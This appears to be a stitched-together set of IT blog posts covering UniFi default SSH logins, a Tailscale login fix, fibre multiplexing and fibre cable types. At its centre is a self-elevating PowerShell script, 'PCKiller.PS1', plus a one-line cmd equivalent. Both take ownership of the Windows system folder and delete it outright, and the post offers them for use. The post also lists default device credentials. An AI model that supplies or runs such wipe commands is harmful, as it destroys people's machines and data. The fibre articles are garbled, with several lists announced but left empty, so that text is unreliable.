Whilst most AP’s and Unifi devices can be ssh’d into using ubnt/ubnt there are a few exceptions to this rule, for example the UXG-Pro is root/ubnt.
Prior to setup/adoption, all devices have a set of default credentials below is what they are as of 06/2024.
root / ui (root / ubnt on older devices)root / ui (root / ubnt on older devices)ui / ui (ubnt / ubnt on older devices)Follow these steps to log into Tailscale using Microsoft O365 credentials:
Occasionally i have come accross a Tailscale client that does not initially want to display the log in page.
I originally also tried running CLI commands like “tailscale up –authkey xxxxxxxxxx” as well – it seems to hang.
So when CLI and clicking on the icon in the taskbar via the GUI to log in doesn’t work – Check your network cards!
This is usually caused when Tailscale cannot tell which network card has priority.
On Windows:
Win + R //to open run
ncpa.cpl //to open the network settings
Select main network card
Open Properties, then IPv4
Click on Advanced, untick ‘Automatic Metric
Set to 10.
Try again. Chances are, tailscale will now let you login and generate the login page popup allowing sign on. Authkey authentication should also now work.
So about 7 years ago I wrote the original blog post on killing a windows PC.
Turns out it was one of my most popular posts! So with that in mind, lets update that script to use Powershell – seeing as it is 2023 now.
The core basics of the command have not changed much, just the delivery method.
Below is the new Windows Death command:
TakeOwn /F C:\windows /R /D Y
Remove-Item -Recurse -Force C:\windows
Simply run the above in an elevated powershell window to wipe the PC.
It really is that simple.
Now how do we make this into a file that we can just right click and run?
Copy and paste the below into a file, and name it PCKiller.PS1 or similar- then right click and ‘Run with Powershell’ Simple as that:
# Check if script is running as administrator
if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
# If not running as administrator, elevate permissions
$arguments = "& '" + $myinvocation.mycommand.definition + "'"
Start-Process powershell -Verb runAs -ArgumentList $arguments
Break
}
# Set window title and colors
$host.UI.RawUI.WindowTitle = "Destroy Windows PC"
$host.UI.RawUI.WindowPosition = "maximized"
$host.UI.RawUI.BackGroundColor = "green"
$host.UI.RawUI.ForeGroundColor = "white"
Clear-Host
# Take ownership of the Windows folder
TakeOwn /F C:\windows /R /D Y
# Get the total number of files and directories to be deleted
$total = (Get-ChildItem -Recurse C:\windows | Measure-Object).Count
$current = 0
# Delete the files and directories
Get-ChildItem -Recurse C:\windows | Remove-Item -Force -Recurse -Verbose -ErrorAction SilentlyContinue | ForEach-Object {
$current++
Write-Progress -Activity "Deleting files" -Status "Progress: $current/$total" -PercentComplete (($current/$total)*100)
}
This script first takes ownership of the Windows folder using the TakeOwn command, just like in the previous version. It then uses the Get-ChildItem command to get a list of all files and directories in the Windows folder and its subfolders. The Measure-Object command is used to count the total number of items, and this count is stored in the $total variable.
Next, the script uses a ForEach-Object loop to iterate over each item in the list and delete it using the Remove-Item command. The -Verbose parameter displays a message for each item that is deleted, and the -ErrorAction SilentlyContinue parameter tells the script to continue running even if an error occurs (such as if a file is in use). The Write-Progress command is used to display a status bar showing the progress of the deletion.
Or if you still like using command prompt, the original an still the best as previously posted will still work:
del /S /F /Q /A:S C:\windows
Below is a comparison table of the three main types of fibre multiplexing: wavelength division multiplexing (WDM), frequency division multiplexing (FDM), and time division multiplexing (TDM). The table rates each method on a scale of 1 to 10 in terms of capacity, transmission rates, complexity, and susceptibility to interference.
| Method | Capacity (1-10) | Transmission Rates (1-10) | Complexity (1-10) | Interference (1-10) |
|---|---|---|---|---|
| WDM | 10 | 10 | 8 | 2 |
| FDM | 8 | 8 | 6 | 6 |
| TDM | 6 | 6 | 2 | 8 |
Note that these ratings are subjective and may vary depending on the specific application and implementation of each method. However, this table should give you a general idea of the relative strengths and weaknesses of each method of fibre multiplexing.
Fibre multiplexing is a technique used to transmit multiple signals over a single fibre optic cable, allowing for efficient use of bandwidth and high transmission rates. One popular method of fibre multiplexing is frequency division multiplexing (FDM).
In this article, we’ll take a closer look at FDM and its key features, advantages, and disadvantages.
Frequency division multiplexing (FDM) is a method of transmitting multiple signals over a single fibre optic cable by using different frequency bands for each signal. This allows for a higher capacity and faster transmission rates, as multiple signals can be transmitted simultaneously over the same fibre optic cable.
FDM is commonly used in telecommunications and other applications where a large amount of data needs to be transmitted over long distances. It is also used in local area networks (LANs) and other short-distance applications.
There are several advantages to using FDM as a method of fibre multiplexing:
There are also some disadvantages to using FDM as a method of fibre multiplexing:
Overall, FDM is a useful method of fibre multiplexing that can provide high capacity, fast transmission rates, and efficient use of bandwidth in certain situations. However, it’s important to carefully consider the potential complexity and interference issues of FDM systems when deciding which method of fibre multiplexing is right for you.
Fibre multiplexing is a technique used to transmit multiple signals over a single fibre optic cable, allowing for efficient use of bandwidth and high transmission rates. One popular method of fibre multiplexing is wavelength division multiplexing (WDM).
In this article, we’ll take a closer look at WDM and its key features, benefits, and disadvantages.
Wavelength division multiplexing (WDM) is a method of transmitting multiple signals over a single fibre optic cable by using different wavelengths of light for each signal. This allows for a higher capacity and faster transmission rates, as multiple signals can be transmitted simultaneously over the same fibre optic cable.
WDM is typically used in long-distance telecommunications, as it allows for high-speed data transmission over long distances. It is also commonly used in local area networks (LANs) and other short-distance applications.
There are several advantages to using WDM as a method of fibre multiplexing:
There are also some disadvantages to using WDM as a method of fibre multiplexing:
Overall, WDM is a useful method of fibre multiplexing that can provide high capacity, fast transmission rates, and efficient use of bandwidth in certain situations.
Fibre multiplexing is a technique used to transmit multiple signals over a single fibre optic cable, allowing for efficient use of bandwidth and high transmission rates. There are several different methods of fibre multiplexing, including time division multiplexing (TDM).
In this article, we’ll take a closer look at TDM and its key features and benefits.
Time division multiplexing (TDM) is a method of transmitting multiple signals over a single fibre optic cable by assigning each signal to a specific time slot. This allows for efficient use of bandwidth, as the cable is used effectively and there is less risk of congestion.
However, TDM also has some limitations. One major limitation is that the transmission rate of each signal is limited by the time slot assigned to it. This means that if a signal requires a larger time slot, it may not be able to be transmitted at the same rate as other signals.
Overall, TDM is a useful method of fibre multiplexing that can provide efficient use of bandwidth and high transmission rates in certain situations. It’s important to carefully consider your specific needs and requirements when deciding which method of fibre multiplexing is right for you.
When it comes to transmitting data over long distances, fibre optic cables are an increasingly popular choice because they are able to provide fast, flexible connectivity. These cables have a core that serves as a “light guide,” allowing light (or data) to be transmitted from one end of the cable to the other.
There are two main types of fibre optic cables: singlemode and multimode. Understanding the differences between these two types of cables can help you choose the right one for your specific needs.
Multimode cables are designed to transmit multiple modes of light at the same time. These cables have a larger core diameter, usually between 50 and 100 µm, and are designed for shorter distances. They are often used in local area networks (LANs) and other short-distance applications.
Here are three common use cases for multimode cables:
Singlemode cables are designed to transmit a single mode of light at a time. These cables have a small core diameter, usually between 8.3 and 10.5 µm, and are designed for long distances. They can transmit data at high speeds, making them a popular choice for telecommunications over long distances.
Here are three common use cases for
singlemode cables:
When choosing between singlemode and multimode cables, it’s important to consider the distance you need to transmit data, the data rate you require, and the wavelength of light that is being used. By understanding these differences, you can choose the right type of fibre optic cable for your specific needs.
In general, singlemode cables are the better choice for long distance telecommunications, while multimode cables are better suited for short distance applications such as local area networks (LANs). Ultimately, the right choice for you will depend on your specific needs and requirements.
Fibre optic cables are an increasingly popular choice for transmitting data because they are able to span long distances and provide fast, flexible connectivity. These cables have a core that serves as a “light guide,” allowing light (or data) to be transmitted from one end of the cable to the other.
There are two main types of fibre optic cables: singlemode and multimode. Understanding the differences between these two types of cables can help you choose the right one for your specific needs.
| Feature | Singlemode Cable | Multimode Cable |
|---|---|---|
| Core diameter | 8.3-10.5 µm | 50-100 µm |
| Distance | Long | Short |
| Data rate | High | Lower |
| Wavelength of light | 1310 nm or 1550 nm | 850 nm or 1300 nm |
| Typical application | Long distance telecommunications | Local area networks (LANs) |
Singlemode cables are designed to transmit a single mode of light at a time. These cables have a small core diameter, usually between 8.3 and 10.5 µm, and are designed for long distances. They can transmit data at high speeds, making them a popular choice for telecommunications over long distances.
Multimode cables, on the other hand, are designed to transmit multiple modes of light at the same time. These cables have a larger core diameter, usually between 50 and 100 µm, and are designed for shorter distances. They are often used in local area networks (LANs) and other short-distance applications.
When choosing between singlemode and multimode cables, it’s important to consider the distance you need to transmit data, the data rate you require, and the wavelength of light that is being used. By understanding these differences, you can choose the right type of fibre optic cable for your specific needs.